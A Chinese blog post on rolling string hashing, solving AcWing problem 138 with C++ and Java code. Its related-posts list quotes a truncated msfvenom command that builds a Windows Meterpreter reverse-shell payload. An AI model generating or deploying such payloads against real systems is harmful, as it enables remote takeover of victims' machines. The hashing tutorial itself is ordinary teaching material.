0x14哈希之兔子兔子
参考链接:https://www.cnblogs.com/wyboooo/p/9813428.html
题目链接:https://www.acwing.com/problem/content/140/
将哈希算法用于字符串匹配的原理非常简单。对于每个起始位置,我们不是O(m)地直接比较字符串是否匹配,而是O(l)地比较长度为m的字符串子串地哈希值与T地哈希值是否相等。虽然即使哈希值相等也未必相等,但如果哈希值是随机分布地话,不同的字符串哈希值相等的概率是很低的,可以当作这种情况不会发生。
但是,如果我们采用O(m)的算法计算长度为 m地字符串子串地哈希值的话,那复杂度还是O(nm)。这里我们要使用一个叫做滚动哈希的优化技巧。选取两个合适的互素常数b和h(l<b<h),假没字符串C=c1c2c3...cm,定义哈希函数
H(C) = (c1bm-1 + c2bm-2 + c3bm-3 + ... + cmb0) mod h
其中b是基数, 相当于把字符串看做b进制。这项在计算S中m长的字串时,每向后滑动一个字符之后的字串的hash值和上一次字串的hash值有如下关系:
H(S[k+1.. k+m]) = H(S[k..k+m-1] * b - skbm + sk+m)mod h
这样计算hash值就可以在O(n)的时间内算出S中所有位置对应的hash值,从而在O(m + n)的时间内完成字符串匹配。
Hit:实际使用时取h为264,使用long long int 自然溢出省去取模时间。
PS:原始的R-K算法还需要检查哈希值冲突,但这样会使算法复杂度退化为O(mn),比赛时只比较不检查。
字符串Hash函数把一个任意长度的字符串映射成一个非负整数,并且其冲突概率几乎为零。
去以固定值P,把字符串看成P进制数,并分配一个大于0的数值,代表每种字符。取一个固定值M,求出该P进制数对M的余数,作为该字符串的Hash值。
一般来说取P=131或P=13331。通常取M = 2^64,也就是直接使用unsigned long long存储这个Hash值,产生溢出时相当于自动对2^64取模。
只要Hash值相同,我们就可以认为原字符串是相等的。
上述Hash算法很难产生冲突,一般情况下完全可以用在题目的标准解答中。还可以多取一些恰当的P和M的值,多进行几组Hash运算。
如果已知字符串S的Hash值为H(S),那么在S后添加一个字符c的新字符串的Hash值就是H(S+c)=(H(S)*P+val[c])modM
如果已知字符串S的Hash值为H(S),字符串S+T的Hash值为H(S+T),那么字符串T的Hash值H(T)=(H(S+T) -H(S)*Plength(T))mod M
c++代码:
#include <iostream>
#include <set>
#include <cmath>
#include <stdio.h>
#include <cstring>
#include <algorithm>
using namespace std;
typedef long long LL;
#define inf 0x7f7f7f7f const int maxn = 1e6 + 5;
char s[maxn];
int m;
int l1, r1, l2, r2;
unsigned long long H[maxn], p[maxn]; int main()
{
scanf("%s", s+1);
int n = strlen(s + 1);
p[0] = 1;
H[0] = 0;
for(int i = 1; i <= n; i++){
H[i] = H[i - 1] * 131 + (s[i] - 'a' + 1);
p[i] = p[i - 1] * 131;
}
scanf("%d", &m);
while(m--){
scanf("%d%d%d%d", &l1, &r1, &l2, &r2);
if(H[r1] - H[l1 - 1] * p[r1 - l1 + 1] == H[r2] - H[l2 - 1] * p[r2 - l2 + 1]){
puts("Yes");
}
else{
puts("No");
}
} }
Java代码:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.util.StringTokenizer; public class Main {
public static InputReader in = new InputReader(System.in);
public static PrintWriter out = new PrintWriter(new OutputStreamWriter(System.out));
static int maxn=10000005;
static int[]H=new int[maxn];
static int[]p=new int[maxn];
public static void main(String[] args) throws Exception {
while(in.hasNext()) {
String s=in.next();
int n=s.length();
s=" ".concat(s);
p[0]=1;
H[0]=0;
for(int i = 1; i <= n; i++){
H[i] = H[i - 1] * 131 + (s.charAt(i) - 'a' + 1);
p[i] = p[i - 1] * 131;
}
int m=in.nextInt();
while(m!=0) {
m--;
int l1=in.nextInt();
int r1=in.nextInt();
int l2=in.nextInt();
int r2=in.nextInt();
if(H[r1] - H[l1 - 1] * p[r1 - l1 + 1] == H[r2] - H[l2 - 1] * p[r2 - l2 + 1]){
out.println("Yes");
}
else{
out.println("No");
}
}
out.flush();//写在最后
}
out.close();
}
}
class InputReader{
private final static int BUF_SZ = 65536;
BufferedReader in;
StringTokenizer st;
public InputReader(InputStream in) {
super();
this.in = new BufferedReader(new InputStreamReader(in),BUF_SZ);
st = new StringTokenizer("");
}
public boolean hasNext() throws IOException {
while(!st.hasMoreTokens()){
String line = nextLine();
if(line == null){
return false;
}
st = new StringTokenizer(line);
}
return true;
}
public String next() throws IOException{
while (!st.hasMoreTokens()) {
try {
st = new StringTokenizer(in.readLine());
} catch (IOException e) {
throw new RuntimeException(e);
}
}
return st.nextToken();
} public int nextInt() throws IOException {
return Integer.parseInt(next());
}
public double nextDouble() throws IOException {
return Double.parseDouble(next());
}
public double nextLong() throws IOException {
return Long.parseLong(next());
}
public String nextLine() throws IOException {
String line = "";
line = in.readLine();
return line;
}
}
0x14哈希之兔子兔子的更多相关文章
- 139. 回文子串的最大长度(回文树/二分,前缀,后缀和,Hash)
题目链接 : https://www.acwing.com/problem/content/141/ #include <bits/stdc++.h> using namespace st ...
- Hash 算法与 Manacher 算法
目录 前言 简单介绍 简述 Hash 冲突 离散化 基本结构 普通 Hash 简述 例题 字符串 Hash 简单介绍 核心思想 基本运算 二维字符串 Hash 例题 兔子与兔子 回文子串的最大长度 后 ...
- [SinGuLaRiTy] NOIP模拟题 by liu_runda
[SinGuLaRiTy-1046] Copyright (c) SinGuLaRiTy 2017. All Rights Reserved. 题目名称 兔子 被子 蚊子 源程序文件名 rabbit. ...
- 经典算法问题的java实现 (二)
原文地址: http://liuqing-2010-07.iteye.com/blog/1403190 1.数值转换(System Conversion) 1.1 r进制数 数N的r进制可以表 ...
- 安卓开发笔记——个性化TextView(新浪微博)
这几天在仿写新浪微博客户端,在处理微博信息的时候需要处理关键字高亮和微博表情,查了一些资料,决定记录点东西 先来看下效果图: 像以上这种#话题#,@XXX昵称,HTTP:网页链接等元素,在微博里是被高 ...
- acm.njupt 1001-1026 简单题
点击可展开上面目录 Acm.njupt 1001-1026简单题 第一页许多是简单题,每题拿出来说说,没有必要,也说不了什么. 直接贴上AC的代码.初学者一题题做,看看别人的AC代码,寻找自己的问题. ...
- MSF小记
0x00 Windows,Linux反弹shell生成 Windows: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport= ...
- 纪中5日T2 1565. 神秘山庄
1565. 神秘山庄 (Standard IO) 原题 题目描述 翠亨村是一个神秘的山庄,并不是因为它孕育了伟人孙中山,更神秘的是山庄里有N只鬼.M只兔子,当然还有你.其中每秒钟: 1. 恰有两个生物 ...
- RE.从单链表开始的数据结构生活(bushi
单链表 单链表中节点的定义 typedef struct LNode{ int data;//数据域 struct LNode *next;//定义一个同类型的指针,指向该节点的后继节点 }LNode ...
随机推荐
- [Day21]异常
1.异常-Java代码在运行时期发生的问题,在Java中,把异常信息封装成了一个类.当出现了问题时,就会创建异常类对象并抛出异常相关的信息 1.1 异常的继承体系 Throwable:它是所有错误与异 ...
- JMeter压测基础(三)——Mysql数据库
JMeter压测基础(三)——Mysql数据库 环境准备 mysql驱动 JMeter jdbc配置 JMeter jdbc请求 1.下载mysql驱动:mysql-connector-java.ja ...
- jmeter连接oracle时未找到要求的 FROM 关键字问题
1.jmeter的lib目录下已添加了JDBC连接oracle的驱动: 2.已在测试计划中添加了驱动文件 3.JDBC Connection Configuration配置如图 3.JDBC Requ ...
- 深度学习基础(四) Dropout_Improving neural networks by preventing co-adaptation of feature detectors
该笔记是我快速浏览论文后的记录,部分章节并没有仔细看,所以比较粗糙. 从摘要中可以得知,论文提出在每次训练时通过随机忽略一半的feature detectors(units)可以极大地降低过拟合.该方 ...
- Luogu4197 Peaks
题目链接:洛谷 看到“只经过困难值小于等于$x$的路径”. 感觉有点眼熟. ow,就是[NOI2018]归程. 和那道题一样,可以直接建出Kruskal重构树,每次倍增寻找祖先中最上面的不大于$x$的 ...
- .net拼接json字符串
{ while (reader.Read()) { if (reader.HasRows) { JSONstring += "{"; JSONstring += "\&q ...
- webpack.config.js配置遇到Error: Cannot find module '@babel/core'&&Cannot find module '@babel/plugin-transform-react-jsx' 问题
下文是网上找到的方法,是因为版本冲突的原因,参照后安装7版本解决 cnpm install -D babel-loader@ babel-core babel-preset-env 一. 问题描述 在 ...
- turtlebot3安装遇到的问题总结
turtlebot3安装遇到的问题总结 问题如下 1.ubuntu mate 开机启动 开始试了很多方法都不行,注意不要输错用户名,不然进不了系统了(进不了解决方法,找个电脑读一下这个turtlebo ...
- 来吧学学.Net Core之项目文件简介及配置文件与IOC的使用
序言 在当前编程语言蓬勃发展与竞争的时期,对于我们.net从业者来说,.Net Core是风头正紧,势不可挡的.芸芸口水之中,不学习使用Core,你的圈内处境或许会渐渐的被边缘化.所以我们还是抽出一点 ...
- 20175211 2018-2019-2 《Java程序设计》第六周学习总结
目录 教材学习内容总结 第七章 内部类与异常类 第十章 输入.输出流 教材学习中的问题和解决过程 代码托管 学习进度条 参考资料 教材学习内容总结 第七章 内部类与异常类 第十章 输入.输出流 教材学 ...